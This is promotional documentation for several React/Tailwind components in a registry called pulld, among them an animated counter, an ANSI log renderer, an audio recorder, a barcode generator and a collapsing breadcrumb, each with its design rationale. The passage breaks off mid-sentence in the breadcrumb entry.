Typed, accessible, theme-aware React/Tailwind components installable by the shadcn CLI or your AI coding agent. Free atoms plus composed Pro blocks.
A number that counts to its value instead of appearing at it, for a figure meant to be looked at: a dashboard KPI or metric tile, a results, votes, signups, downloads, streams or follower count, a pricing page's savings or annual-total figure, a fundraising or goal tracker, a score, streak or XP total, a usage or quota readout, and the statistic in a marketing hero that should count as it scrolls into view. Common asks it answers: "animated counter react", "count up animation react", "number ticker component", "animated number shadcn", "shadcn counter", "react-countup alternative", "odometer react", "rolling number animation", "kpi counter animation", "count up on scroll react", "animate number when it changes react", "intersection observer counter react", "useCountUp hook", "animated number currency format", "animate a formatted number react", "counter jitters while animating", "number width jumps while counting up", "tabular nums counter", "prefers-reduced-motion counter", "animated number without framer motion", "数字 カウントアップ react", "数値 アニメーション", "カウントアップ アニメーション", "スクロールで数字を数え上げる", "桁が揺れる カウンター". Official shadcn/ui has nothing of the kind, and the figure is measured rather than remembered: its catalogue today lists 65 entries of which 62 are fetchable (code-block, questionnaire and trace 404) for 223,287 bytes of component source, and in all of it requestAnimationFrame, IntersectionObserver, NumberFormat, prefers-reduced-motion and countUp are every one of them zero hits. tabular-nums appears exactly twice -- on a chart tooltip's value and a sidebar badge's count -- and both of those numbers sit still, so nothing in official has ever had to make a number move. An agent asked for this therefore writes the requestAnimationFrame loop from scratch, and the loop it writes makes the line the number sits on move. That is the whole reason to install one. Interpolating towards 12,480 renders 1,204 and then 11,593 on the way, and in a proportional font a 1 is not as wide as an 8, so the number changes width every frame and drags the label beside it along; then the group separator arrives at 1,000 and it jumps again. tabular-nums fixes the digits, but the separator and the digit count are not fixed by anything, so the widest string the run can produce is rendered invisibly underneath in the same grid cell and holds the width open from the first frame. That widest string is found by formatting the points where the width can actually change -- each power of ten and the all-nines value below it -- rather than by formatting the two ends, because the ends are not the widest: counting 0 to 1000 in compact notation finishes at "1K" and passes through "999", and under scientific notation it passes through "9.99E2" where both ends are three characters. It is measured over the declared journey rather than over the live value, too, because re-measuring every frame narrows the box while counting down -- the box would shrink under the number it is holding open, which is the shift it exists to prevent. Four more things separate it from the twenty-line version. It interpolates the number and formats each frame, rather than interpolating the formatted string, so a currency symbol, a locale's group separators and a percent sign all survive the trip -- and the decimals are pinned to what the endpoints need, because Intl.NumberFormat's default of up to three fraction digits renders 1,203.882 then 1,229.44 then 1,234.5 on the way to a value whose own length never changes. A float's tail is read as the precision it meant rather than literally, so 0.1 + 0.2 counts to 0.3 and not to 0.30000000000000004, while anything the caller says about digits -- fraction or significant, currency, percent or compact -- is left exactly as given, since fraction digits can outrank significant ones under morePrecision. prefers-reduced-motion means the value simply appears, and it is read from the media query at the moment the decision is made rather than from state, because state is a render behind and a flag that arrives in a passive effect animates one frame for somebody who asked for none; the preference is also subscribed to, so turning it on mid-count finishes the count. A target that changes while the number is still moving is picked up from wherever the number currently is instead of restarting at zero, which is the ordinary case on a dashboard that polls. And the first render is the real number, on the server and the client alike, so the HTML a crawler or a page with JavaScript turned off receives says 12,480 -- the starting value is put in place before the first paint, so the final number is never shown and then counted up to. It is accessible in the one way that matters here: the counting digits are hidden from the accessibility tree and the target is exposed as text, because a number announced sixty times a second is not a reading of a number. Set startOnView to hold at the starting value until the element has been scrolled to, which counts once and then stops observing; a browser without IntersectionObserver counts immediately rather than sitting at zero forever, and one without requestAnimationFrame shows the value, which is also what the server does. useAnimatedNumber() is exported for a figure of your own design, handing back the current frame, the formatted target and the width to hold open; easing is a plain function so an inline one costs nothing (it is read live rather than listed as a dependency, which is what stops a run restarting on every render it causes); onComplete reports each arrival once per target. Within pulld it is the counterpart to countdown, which moves towards a moment in time rather than a value, and it is the thing to put inside stat-card, where the figure lives; number-input collects a number, gauge, ratio-bar and sparkline draw one as a shape, and this one moves the digits themselves. Depends only on your cn util -- no animation library, no extra packages.
A dismissible bar pinned above your header for a message the whole site needs to see: a launch or new release, a promo, sale or free-shipping offer, a scheduled-maintenance or downtime window, an incident or status notice, a beta or early-access note, a plan-expiring or payment-failed warning, or a 'you are viewing the docs for an old version' banner. Common asks it answers: "announcement bar react", "shadcn announcement bar", "site-wide banner component", "top banner react", "notification bar react", "promo bar component", "dismissible banner react", "sticky top banner", "maintenance notice banner", "status or incident banner", "free shipping bar", "docs version notice banner", "header banner tailwind", "site notice component", "banner that remembers dismissal", "persist dismissed banner localStorage", "banner flashes before hiding on load", "hydration mismatch localStorage banner", "announcement bar next.js app router". Give it an id and it remembers the dismissal in localStorage, so a visitor who closes it does not meet it again on the next page or the next visit; bump version (or the id) when the wording changes and it comes back for everyone. It renders nothing until it has mounted, which is the part that is easy to get wrong on your own: reading localStorage while rendering makes the server and the browser disagree and React throws a hydration mismatch, and rendering the bar first and hiding it afterwards flashes a banner the user already dismissed on every single page load. The bar is a labelled landmark region rather than a plain div, so it is reachable by landmark navigation instead of being an unnamed strip of text before the header; the close button has a real accessible name and a focus ring, the leading icon is aria-hidden because it repeats the text, and dismissible={false} drops the button entirely for a banner that must stay put. Two looks — primary is a solid accent bar, default is a muted bar with a bottom border — both from shadcn tokens, so it follows light and dark with the rest of your theme. Takes an action slot for the trailing 'Read more' or 'Upgrade' link and calls onDismiss so you can log it. Official shadcn/ui has nothing that does this: alert is a static box that cannot be closed and remembers nothing, alert-dialog is a modal that blocks the page until answered, and sonner is a toast that floats in and disappears on a timer — none of them is a persistent top-of-page bar, and none of them survives a page load. It is not a cookie-consent bar: it shows one message and remembers that it was dismissed, where a consent notice has to ask about each category, keep the refusals and hold the tags back until it has an answer — pulld's cookie-consent is that one. lucide-react is the only dependency, for the close icon.
Renders raw terminal output — escape sequences and all — as styled, theme-aware HTML. Reach for it wherever a process's own output has to be shown inside a page: CI and build logs, deploy and release output, npm/pnpm/cargo/docker build output piped into a dashboard, test-runner results, job and worker logs in an admin panel, an agent or LLM tool-call transcript, git and lint output in a code-review UI, or the output pane of a web terminal. Common asks it answers: "ansi to html react", "render ANSI colours in the browser", "ci log viewer component", "terminal output component react", "build log with colours", "convert ANSI escape codes", "shadcn log viewer", "docker logs in a web UI", "colored console output in React". It handles the parts a hand-rolled converter gets wrong. A carriage return moves the cursor instead of breaking the line, so a progress bar that redraws itself stays one line reading "100%" rather than turning into a hundred lines of noise — and the tail a shorter redraw does not cover survives, exactly as on a real terminal. Erase-in-line (all three modes), backspace, the 16 named colours, the full 256-colour palette including the 6x6x6 cube and the 24-step grey ramp, 24-bit truecolor, both the semicolon and the colon spelling of extended colour that libvte and kitty emit, bold, dim, italic, underline, strike and reverse video. Every sequence it does not implement — cursor moves, hide-cursor, alternate-screen, window-title OSC — is consumed rather than printed as visible gibberish, which is the usual failure of a parser that only knows about the colour sequence. OSC 8 hyperlinks keep their label and drop their target deliberately: a URL in a log is exactly as attacker-supplied as the log is, and turning it into a live anchor would put javascript: one click away. Colour follows your theme instead of a fixed terminal palette — the 16 named colours are light/dark pairs chosen against the panel, and backgrounds are drawn as a translucent wash rather than a solid block, so text can never land on a saturated slab below contrast in one theme or the other. The scroll region takes keyboard focus, since a log that only scrolls with a mouse puts the right-hand end of every long line out of reach. The optional line-number gutter is not selectable, so dragging across the log copies the log and not a column of numbers, and maxLines keeps the end of the log — the failure is at the bottom — while saying out loud how many earlier lines it dropped instead of quietly presenting a suffix as the whole thing. No dependencies and no hooks, so it renders inside a React server component with no "use client" of its own and ships no client JavaScript. shadcn/ui has nothing of the kind: there is no log, terminal or ANSI item in its registry, and a plain code block shows escape sequences as literal characters.
A voice-note recorder: press to record, watch the input level move while it does, stop, play it back, and get a Blob you can upload — and, the part every hand-rolled version gets wrong, the microphone is handed back the moment it is finished with. Reach for it wherever a screen is better off taking someone's voice than their typing: an audio attachment on a support ticket or bug report, a feedback or NPS widget that offers "say it instead", voice comments on a design or document review, pronunciation and language practice, a singing or instrument lesson, interview and research recordings, a meeting or consultation memo, a field-service or inspection report dictated on site, a delivery or warehouse note, a clinical or veterinary note, voice messages in a chat or community app, a voice journal or diary, call-centre after-call notes, and anywhere speaking is the accessible alternative for someone who cannot comfortably type. Common asks it answers: "react audio recorder", "record audio in browser react", "MediaRecorder react hook", "useMediaRecorder", "voice note component", "voice memo recorder react", "audio message component", "shadcn audio recorder", "shadcn voice recorder", "react-media-recorder alternative", "recordrtc alternative", "react-mic alternative", "getUserMedia audio react", "microphone input level meter react", "audio level meter react", "show mic volume while recording", "waveform while recording", "AnalyserNode rms react", "pause and resume MediaRecorder", "MediaRecorder mimeType safari", "audio/webm is not supported in safari", "NotSupportedError MediaRecorder constructor", "MediaRecorder.isTypeSupported", "record audio that works in safari and chrome", "audio duration Infinity MediaRecorder", "webm blob duration infinity", "how to get the length of a MediaRecorder recording", "audio element duration NaN blob", "microphone still on after stop", "recording indicator stays on react", "stop microphone stream react", "AudioContext was not allowed to start", "too many AudioContexts", "ondataavailable only fires once", "MediaRecorder empty blob", "recorded audio is silent", "detect muted microphone browser", "microphone permission denied react", "allow microphone in an iframe", "microphone blocked on http", "録音 react コンポーネント", "ボイスメモ 入力", "マイク 入力レベル 表示", "録音したのに無音". Official shadcn/ui has nothing for this and no combination of its parts reaches it. The measurement, taken today over all 63 catalogue entries (62 are fetchable — questionnaire is listed and 404s on both style tracks) and 223,287 bytes of their source: MediaRecorder, getUserMedia, mediaDevices, AudioContext, AnalyserNode, analyser, ondataavailable, isTypeSupported, webm, microphone, waveform, getTracks, NotAllowedError and even the bare word audio are every one of them a zero hit. There is no component in official shadcn that touches sound at all, so an agent asked for a voice-note field builds it from a bare MediaRecorder and gets the same six things wrong each time. Within this registry it is the first component that records: camera-capture tells the same permission story for video and is the only other thing here that opens a device, and speech-input uses the Web Speech API to return text and deliberately keeps no audio — which is the line to draw when choosing between them. Use speech-input to fill a field with words; use this when the sound itself is the thing being kept, or when the recording has to work offline, or must not be sent to a remote transcription service. Pipe the blob straight into a FormData with form.append("audio", recording.blob, `note${audioFileExtension(recording.type)}`), and upload-list will show it going up. Six things separate it from the thirty-line version. First, and the reason the meter is not decoration: a muted microphone does not fail. Mute it in the operating system, at a switch on the headset, or in a mixer app, and getUserMedia still resolves, the track is still live and unmuted as far as the browser is concerned, MediaRecorder still runs, and what comes out is a perfectly valid file of digital silence. Nothing in the platform reports this; the person finds out when someone tells them the voice note is empty, long after they sent it. An AnalyserNode watches the signal, the level is on screen the whole time, and after a few seconds with nothing arriving the component says so in words. Second, there is no audio format every browser records. Chromium and Firefox write WebM, Safari writes MP4, and `new MediaRecorder(stream, { mimeType })` with a type the browser cannot write throws NotSupportedError out of the constructor immediately — so a recorder hard-coded to audio/webm has never once worked in Safari. A descent through isTypeSupported picks the best type this browser admits to, a constructor that rejects it anyway is retried with the browser's own default, and the type reported back is read off recorder.mimeType rather than from the request, because naming an upload from what you asked for hands the server an MP4 called WebM. Third, the file has no duration. A MediaRecorder writes its container header before it knows how long the recording will be and never goes back to finalise it, so handing the blob to an <audio> element gives duration === Infinity — the broken scrubber behind every half-finished voice-note widget, usually worked around by seeking to a huge offset and waiting to see where it lands. The duration here is measured while recording, from timestamps rather than by counting ticks, so a tab left in the background (where timers are throttled to about once a second) still reports its true length, and paused stretches are subtracted. Fourth, stopping. recorder.stop() ends the recording and nothing else: track.stop() is the only thing that ends the capture, and without it the browser's tab indicator — and on a phone the operating system's own — stays lit over a page that has finished. The AudioContext has to be closed too, or it holds the audio hardware and eats into the small number of contexts a page is allowed, so a recorder mounted a few times stops being able to meter at all. Both happen on stop, on discard, and on unmount, which is the moment a single-page app would otherwise leak them with no control left that could reach them. The analyser is also connected to the analyser and to nothing else, because connecting on to context.destination is the obvious next line and it routes the microphone into the speakers: an immediate feedback howl on any device without headphones, recorded. Fifth, the chunks. The specification does not promise a single dataavailable at the end, so event.data saved over a variable yields a file holding whichever piece arrived last; they are accumulated, and a stop that produced no bytes at all is reported as a failure rather than handed back as a zero-byte clip to upload. A microphone that goes away mid-sentence — a headset unplugged, the device seized by another app, the permission revoked from the browser's own UI — ends the recording and keeps what was captured, because discarding four minutes of an interview over the last second of it is the one outcome nobody forgives. Sixth, permissions. NotAllowedError means four unrelated things — an http origin, an iframe without allow="microphone", a stored block, and a prompt closed without an answer — and only the stored block is worth sending somebody to their site settings for, so the other three say something true instead and are not offered a retry that cannot work. A permission fixed in those settings is picked up live through the Permissions API change event rather than staying dead until a reload, and because MediaDevices is [SecureContext] the whole object is missing on http — where the obvious feature detect fires and produces the one wrong answer, "this browser has no microphone support". The two halves of support are detected separately for the same reason: a browser that can reach a microphone but cannot record one needs different words, and Safari was that browser for four releases. Video is explicitly refused so the camera indicator stays dark and only one permission is asked for, and there is deliberately no autoStart — a component that opens the microphone on mount records the room before anybody agreed to it, and does so without a prompt on the second visit. Ships as a hook (useAudioRecorder) plus a component, with echoCancellation, noiseSuppression and autoGainControl exposed because the platform defaults are right for speech and ruinous for music, plus maxDuration so a forgotten recording cannot grow until the tab dies. pickAudioMimeType, audioFileExtension and formatDuration are exported as pure functions. The level meter carries role=meter and is deliberately not a live region, so it is read when asked for rather than narrating every syllable, while the silence warning goes through a permanently mounted polite live region; controls are aria-disabled rather than disabled so a refusal stays reachable and can explain itself. Styled entirely with shadcn tokens (input, accent, ring, primary, muted, destructive, muted-foreground), so it follows light and dark mode, and its only dependency is lucide-react for the icons.
A textarea that grows as you type and stops at a maximum height, then scrolls. Reach for it wherever a fixed-height box is the wrong shape: a chat, message or AI prompt composer; a comment, reply or code-review box; a commit message or pull-request description; a bio, note, changelog, release note or feedback field; a support ticket or contact form; a task or issue description; and any "tell us more" field where one line is too small and a tall empty box wastes the page. Common asks it answers: "auto resize textarea", "auto-growing textarea", "expanding textarea react", "textarea that grows with content", "auto height textarea", "textarea min rows max rows", "chat input that expands", "message composer textarea", "prompt input that grows", "ChatGPT-style input react", "shadcn autosize textarea", "shadcn textarea auto grow", "react-textarea-autosize alternative", "autosize textarea without a library", "textarea scrollHeight resize", "growing text input component". shadcn/ui's own textarea is a fixed-height styled element with a drag handle in the corner; this replaces that behaviour, and turns the handle off, because the height is now the field's own business. minRows sets the height it sits at when empty, maxRows caps the growth before it starts scrolling. The reason to install it rather than paste the four-line version is that the four-line version is subtly wrong in three ways that only show up on somebody else's screen. It measures a row from the element's real computed line-height — and falls back to the font size where that computes to "normal", which is what it computes to unless you set it explicitly, and which parses to NaN and produces a field with no height at all. It adds the border back on a border-box element, because scrollHeight counts content and padding but not border, so the naive arithmetic is short by a pixel or two on every keystroke and the field creeps. And it watches the element rather than the window, so the height is recomputed when a collapsing sidebar, an opening drawer, a resizing split pane or a tab becoming visible rewraps the text — none of which fire a window resize — while deliberately ignoring height changes, since reacting to its own writes would feed the observer straight back into itself. It renders at roughly the right height before hydration through the rows attribute, so there is no first-paint jump in Next.js, and it is correct controlled or uncontrolled: a controlled field re-measures on the value it is given, an uncontrolled one on its own input. It keeps the native <textarea> and forwards a ref to it, so labels, placeholders, autofocus, maxLength, form libraries such as react-hook-form, and native validation all work unchanged. Styled with shadcn tokens (border-input, ring, muted-foreground) so it follows light and dark, and it ships zero dependencies beyond your own cn util — no icon package, one file.
A facepile in one prop: pass a list of people and a maximum, get a row of overlapping circular avatars with everything past the maximum collapsed into a "+N" badge. Reach for it wherever a set of people is shown on one line: team members on a project or workspace card, assignees and reviewers on an issue or pull request, meeting and calendar attendees, who is online or currently viewing a document, a "shared with" row on a file or folder, participants in a thread or channel, contributors on a repo, players in a lobby, guests on a booking, and the member count on an organisation or team settings row. Common asks it answers: "avatar group", "avatar stack", "facepile", "overlapping avatars", "stacked profile pictures", "user avatars in a row", "+N more avatars", "avatar overflow count", "assignee avatars", "who is online avatars", "team member avatars", "participant avatars", "avatar list with remaining count", "react facepile component". Official shadcn/ui does now group avatars — its `avatar` item ships `AvatarGroup` (the negative margin that overlaps the circles) and `AvatarGroupCount` (a styled slot for the overflow badge), and if you are already composing Radix avatars by hand those are the pieces you want. The difference is who does the arithmetic. Official gives you the styling and leaves the list to you: you slice it at the cut-off yourself, work out what N is, render each `Avatar` with its own `AvatarImage` and `AvatarFallback`, and put the number inside `AvatarGroupCount` — the overflow logic is rewritten at every call site, which is where it goes wrong when the list is shorter than the maximum or exactly equal to it. This one takes `avatars` (an array of `{ src?, alt }`) and `max` (default 4), does the slicing and the counting once, and renders nothing extra when there is no overflow. An entry with no `src` falls back to the first letter of its `alt`, so a half-loaded list still reads as people rather than as broken images, and every avatar keeps its `alt` as its accessible name so a screen reader announces the names instead of a row of unlabelled images. It is plain `img` elements and Tailwind tokens — no Radix package, no dependencies at all — so it drops into a project that has not installed the official avatar, and the ring around each circle is drawn in the *background* token rather than a fixed white, which is what keeps the overlap legible on a card, a striped table row and a dark surface alike.
A scannable one-dimensional barcode, drawn as SVG, for the symbol a handheld scanner or a till actually reads — Code 128 for anything of your own, EAN-13 for a retail product number. Reach for it wherever a physical thing has to be identified by pointing a scanner at it: a shipping or courier label, a parcel or pallet, a packing slip, a warehouse bin or shelf location, a stock count or cycle count sheet, an asset tag, IT inventory, a serial or batch number, a returns label, an event or cinema ticket, a wristband, a visitor or conference badge, a library book, a patient or specimen label, a laboratory sample, a rental item, a till or point-of-sale product code, a price label, a product carton, and any label stock going through a thermal printer. Common asks it answers: "barcode react", "react barcode component", "generate barcode react", "shadcn barcode", "code 128 react", "code128 generator javascript", "ean 13 react", "ean-13 generator", "upc barcode react", "jsbarcode alternative", "react-barcode alternative", "bwip-js alternative", "barcode without dependencies", "barcode no npm package", "barcode svg react", "barcode canvas vs svg", "barcode server component", "barcode next.js app router", "barcode ssr", "print barcode labels react", "thermal printer barcode html", "barcode not scanning", "barcode won't scan", "barcode scans on some scanners", "quiet zone barcode", "barcode module width", "barcode x dimension", "narrow bar width", "barcode blurry when printed", "barcode too small to scan", "barcode dark mode", "inverted barcode not scanning", "barcode check digit", "ean 13 check digit calculation", "code 128 check digit", "code 128 code set a b c", "code 128 switching", "barcode accessibility", "barcode screen reader", "barcode aria-label", "barcode with text underneath", "human readable barcode text", "barcode 12 digits vs 13", "upc-a vs ean-13", "バーコード react", "バーコード 生成", "一次元バーコード コンポーネント", "JAN コード react", "EAN-13 チェックディジット". Official shadcn/ui has nothing here and the measurement is not close: fetching every entry in its registry today — 65 listed, 62 fetchable, code-block and questionnaire and trace 404 on both style tracks — and searching all 223,287 bytes of it, the strings barcode, Code128, code128, EAN-13, EAN13, GS1, checksum, checkDigit, quietZone, crispEdges, shapeRendering, symbology and scanner are every one of them a zero hit. So this gets solved by adding a package, and that is the first thing worth knowing about this one: both encoders are in the file. Code 128 in all three of its code sets, EAN-13 with its parity-encoded first digit, no dependencies at all, not even an icon, in a registry whose other components have never needed more than lucide-react. Because a barcode encoder's bugs are invisible — a wrong table row renders, prints, and is either never read or read as a different string — correctness here is measured rather than asserted. Every symbol this ships was rasterised from the path the component actually draws and read back by Apple's Vision framework, an independent decoder sharing no code with it: 153 symbols on 2026-10-29, all 153 byte for byte, covering every printable ASCII character, digit runs of every length to 24, runs embedded in text at every length where the code-set decision is a close call, control characters, 60 random payloads, all ten EAN-13 first-digit parity rows, every digit in every one of the twelve positions, and five published retail numbers. The sweep was then run against deliberately broken copies to prove it has teeth: one Code 128 row swapped with its neighbour failed 9 of 153, one EAN-13 digit pattern failed 18, and one corrupted parity row failed exactly the 2 codes beginning with the digit whose row had been changed. The verified symbols are frozen in the test suite so a shifted table row cannot come back. Beyond the encoding, four things decide whether a symbol actually works. The first is the width of its narrowest bar, which is why nothing here scales the picture to fit a container: a scanner resolves the narrowest element or it resolves nothing, so a symbol laid out at two pixels a module and then fitted into a card 70% as wide is not a smaller barcode, it is a broken one that still looks perfect. Whole pixels only, too — at 1.5px a module every other bar lands on a half pixel and the renderer spreads it over two, which turns the width ratios the decoder measures into something between 1:2 and 1:3. The second is the quiet zone, which the format specifies as a count of modules rather than a distance, so it shrinks with the symbol: ten modules for Code 128 and eleven for EAN-13 are drawn as part of the SVG rather than left to whatever margin the page happens to give it. The third is colour, which is functional rather than decorative and therefore does not follow your theme: decoders assume dark bars on a light ground, so the symbol stays black on white in dark mode — which is what a parcel label and a boarding pass do — with barClassName and backgroundClassName there for a tested exception. The fourth is height, because a scanner sweeping at an angle crosses a short symbol's bars diagonally and measures the wrong widths. The symbology is a choice you have to make and is never inferred from the payload: thirteen digits are valid for both, and a component that guessed would turn a shipping reference into a retail product code the first time one happened to be thirteen digits long. For Code 128 the hard part is where to change code set, since Code C packs two digits into one symbol but costs a symbol to enter and another to leave — four digits inside text break even, six are the first that pay — and this solves it exactly by search rather than approximately by the spec's lookahead rules, so a digit run is never longer than it has to be and a single borrowed character is shifted rather than switched to. Non-ASCII is refused by name rather than encoded through the mechanism scanners disagree about, which is how the accented character pasted from a spreadsheet surfaces before the label print rather than after. For EAN-13, twelve digits in means the thirteenth is computed and thirteen means it is verified — a mismatch throws with the digit it expected, because silently repairing a check digit prints a symbol that scans perfectly as the wrong item, and the number it was printed for is a real product somewhere. Spaces and hyphens are accepted since the numbers arrive grouped the way they are printed. It renders on the server and ships no JavaScript: no hooks, no state, no effects, so there is no "use client" on it, with a small internal cache keeping a re-rendering parent from re-encoding. It carries role="img" and a name, and unlike a QR code it reads the value out by default — what a 1D symbol holds is a short identifier somebody may have to say out loud or type, not a URL or a secret, and an EAN-13 is announced in its printed groups so it is heard as digits rather than as one twelve-figure number. The printed line below the bars is the standard layout for EAN-13 and not decoration: the first digit outside the symbol on the left, two groups of six under their own halves, the guard bars dropping between them, each group stretched to span its half so the digits stay under their own bars whatever mono face the project uses. A Code 128 payload containing control characters gets no printed line at all rather than one full of whatever glyphs the font has for them. encodeCode128, encodeEan13, ean13CheckDigit and barcodePath are exported for a symbol you want to rasterise on a server, send to a label printer, or draw yourself. Within pulld it sits beside qr-code, which is the two-dimensional answer to a different question — a QR is pointed at by a phone, a barcode is swept by a scanner — and beside copy-field and copy-button, which are what you put next to it for everyone keying the number in by hand.
The asymmetric panel grid behind most modern feature sections: a set of cards on one grid where a few cells are deliberately two columns wide or two rows tall, so the section reads as a composition instead of a row of identical boxes. Use it for a landing page features section, a product tour, a "why us" grid, a homepage hero collage, a portfolio or an app-store style showcase. Common asks it answers: "bento grid", "bento box layout", "bento cards", "bento section", "bento blocks", "features bento", "grid layout with different sized cards", "Apple/Linear-style feature grid", "masonry-ish marketing grid", "asymmetric card grid". shadcn/ui ships no grid: the composition kits it does have — item, field, button-group, input-group — are flex rows that arrange the parts of one control or one row, and none of them lays tiles out across a page, so this grid is hand-rolled every time — and hand-rolling it fails in one specific way that is hard to spot: Tailwind only emits classes it can find written out in your source, so the natural `className={`col-span-${n}`}` compiles to nothing and every cell silently renders one column wide in the production build while looking correct in dev. This component keeps every span it can emit as a literal class in a lookup table, so `colSpan={2}` and `rowSpan={2}` survive the compiler. Two parts: `BentoGrid` takes `columns` (2, 3 or 4) and steps up from a single column on phones rather than fixing a track count, and `BentoGridItem` is the panel surface plus its span controls. Rows are sized minmax(11rem, auto) so equal cells line up and a tall cell is visibly twice the height; and because every layout is two columns at md and only widens at lg, each span is capped per breakpoint to the tracks that tier actually has — CSS Grid answers an over-wide span by adding an auto column, not by clamping it, and the first cell to land in that phantom column is sized by its own content. It is layout only and renders no card content of its own, so a cell can hold copy, an image, a chart or a feature-card. The grid deliberately does not use grid-auto-flow: dense — dense packing lets a later cell backfill an earlier gap, which leaves the Tab order and a screen reader reading the section in a different order than the eye sees it — and the cell is a plain div rather than a list item, so your own headings keep the document outline. No state, no effects and no "use client", so it renders as a server component, and it has zero npm dependencies; the surface uses shadcn tokens (card, card-foreground, border) so it follows light and dark themes. Distinct from feature-card, which is the icon/title/description content of one cell: this is the grid the cells sit on.
A breadcrumb trail that measures itself and folds its middle into a menu when the row runs out of width, keeping the root you came from and the page you are on. Reach for it wherever a hierarchy has to survive a header nobody sized for it: an admin console's path, a file or storage browser, a category tree, a docs page's position, a deep settings screen, a project inside a workspace inside an organisation, a wizard's current step in a narrow panel, a dashboard that resizes with the window, a sidebar somebody can drag narrower, a trail that was two levels deep when it was designed and is five now. Common asks it answers: "collapsing breadcrumb react", "breadcrumb overflow shadcn", "breadcrumb with ellipsis in the middle", "truncate breadcrumb middle", "collapse breadcrumb items when they do not fit", "responsive breadcrumb react", "breadcrumb too long narrow screen", "breadcrumb wraps to two lines", "stop breadcrumb from wrapping", "breadcrumb dropdown for hidden levels", "shadcn BreadcrumbEllipsis dropdown", "how many breadcrumb items fit in a container", "measure available width react", "ResizeObserver breadcrumb", "ResizeObserver loop completed with undelivered notifications", "items appear then disappear on load", "flicker when hiding overflowing elements", "measure the natural width of a hidden element", "MUI Breadcrumbs maxItems equivalent shadcn", "itemsBeforeCollapse itemsAfterCollapse", "antd breadcrumb overflow", "aria-current page breadcrumb", "breadcrumb accessibility current page", "is the current breadcrumb a link", "breadcrumb nav aria-label", "focus lost when an element unmounts", "focus jumps to body when the focused link is hidden", "keyboard access to collapsed breadcrumb items", "rtl breadcrumb chevron direction", "breadcrumb separator rtl", "dropdown clipped by overflow hidden", "absolutely positioned menu not visible inside overflow hidden", "パンくず 折りたたみ react", "パンくずが2行になる", "パンくず 省略 真ん中", "長いパンくず 幅に収める", "入りきらない階層をメニューに畳む", "パンくず ドロップダウン", "aria-current 現在地", "現在地はリンクにしない", "ResizeObserver 無限ループ", "測ってから隠すとちらつく", "overflow hidden でメニューが見えない", "RTL パンくず 矢印の向き". What official shadcn/ui does instead is grow downwards, and that is a design decision rather than an omission: its `BreadcrumbList` is `flex flex-wrap`, so a trail that does not fit wraps onto another line. Measured on the same five-crumb path in Chrome today — one line at 480px, two lines and 45.2px tall at 320px, three lines and 70.8px at 240px, and zero horizontal overflow at every width. The header gets taller and everything below it moves down, which is fine for a page of prose and wrong for a toolbar row, a dialog title bar or a sticky header with a fixed height. The reflex fix is worse before it is better: `flex-nowrap` alone lets flex items shrink, and at 320px two of the five crumbs were squeezed until their own text wrapped — 39.2px tall against the 19.6px line — while the row still overflowed by 26px. So the crumbs here carry `shrink-0` and `whitespace-nowrap`, and something has to fold. Official has nothing that measures. Across its whole registry today — 65 items listed, 62 fetchable, `code-block`, `questionnaire` and `trace` indexed and 404 on both style tracks, 223,287 bytes of `files[].content` concatenated — `ResizeObserver`, `getBoundingClientRect`, `scrollWidth`, `offsetWidth` and `isTruncated` are every one of them a zero hit. Its `BreadcrumbEllipsis` is a static three-dot glyph you place yourself: `role="presentation"`, `aria-hidden="true"`, and an `sr-only` "More" **inside** that `aria-hidden` element, so the one label it carries is read by nothing, it is not a button, and nothing decides which levels it stands for. The two matches for `ellipsis` in the registry are that and `PaginationEllipsis`, and both are decoration. Measuring your own row is a loop unless you arrange otherwise. The implementation everybody writes first asks the live row how wide it is, hides what sticks out, and is asked again by its own ResizeObserver: the hidden crumbs now measure zero, so the trail fits, so they come back, so it overflows — the flicker behind "ResizeObserver loop completed with undelivered notifications", and no amount of debouncing fixes it, because every pass is a correct answer to a question that should not have been asked. Two things break it here. Natural widths come from a probe that is never folded — a hidden copy of the whole trail, absolutely positioned and `visibility: hidden` rather than `display: none` so it still has a box to measure, at `width: auto` and `max-width: none` so what it reports is the width each crumb wants. And the container's width cannot be changed by its contents: the list is a block-level, full-width box with `overflow-hidden`, so its width comes from its parent and a trail one pixel too wide is clipped rather than pushing anything wider. Together they make the fold a pure function of inputs that folding does not touch, so the same container width always produces the same answer and the observer settles after one pass. Because that answer is an object rather than a number, the bail-out React gives a state update to an equal value is kept by hand — the setter returns the previous object when both fields match, and without that one line every measurement is a render and the loop is back. The flash is a separate problem with a separate answer: the measurement runs in a layout effect, after layout and before paint, so a deep trail is never painted at full length and then collapsed. Which end gives way is the whole difference from every other overflow component. A toolbar keeps a prefix and folds the tail, because its first button is its most important one. A breadcrumb has to keep both ends — the root is how you get out and the current page is where you are — so what collapses is the middle, and the answer is how much of the tail survives with the root always in the row. Three pieces of arithmetic are easy to get wrong and each is written down in the source. A join between two crumbs costs `gap + separator + gap`, not one gap, because the list's gap applies on both sides of the separator: predicted against a real row, five crumbs came to 428.91px and measured 428.91px, and the folded shape predicted 211.05 and measured 211.05, while counting one gap per join under-reads a five-crumb trail by 24 pixels and keeps a level that does not fit. The ellipsis is charged for if and only if something folds — reserve room for it always and a trail that fits exactly loses a level to a control that was never needed; reserve it never and the level that "fits" is pushed out by the control added after the decision. And the fold never keeps `total - 1` trailing crumbs, which would be the whole trail behind a control hiding none of it, charging the row for itself and one more join. The menu cannot live in the list, and that is measured too. The list clips, which is what stops a trail far too narrow for its crumbs from making the page scroll sideways, and a panel absolutely positioned against the box that clips it is painted only where the two overlap: on this exact pair, a panel at `top-full` inside the clipping list was hit by 0 of 15 points scanned down its own rectangle, and the same panel moved onto the `<nav>` above it by 15 of 15. So the landmark positions the menu, the list clips, and the menu is placed under the ellipsis by arithmetic rather than by measuring it — the control is always the second box in the row, so its offset is the list's leading padding plus the root plus one join. Verified to the pixel in both writing directions: 68.25 predicted against 68.25 actual in LTR, 73.72 against 73.72 in RTL, with the panel landing on the control's inline edge in both. `inset-inline-start` counts from the inline start whichever way the text runs, so the sign flip that `scrollLeft` forces on an RTL page does not arise, and the default chevron mirrors itself rather than pointing back the way you came. The current page is not a link. It renders as a `<span aria-current="page">` — that attribute is the whole convention for "you are here", and official's own page element instead gives a span `role="link"` with `aria-disabled="true"`, which announces a dimmed link for something that is not one and was never going anywhere. It is also the one crumb allowed to shrink, `min-w-0` with CSS truncation, so a trail with no room left shortens the longest thing in it instead of being cut off mid-glyph; the probe keeps reporting that crumb's natural width while the live one is squeezed — measured at 225.44px natural against 15.75px on screen — so the truncation cannot feed back into the arithmetic. Every other per-part class a caller passes is on the probe's copy as well as on the row, because the probe measures what the row renders: `separatorClassName="px-2"` widens every join by four pixels, and a measurement that missed that would keep a level that does not fit. The keyboard is a 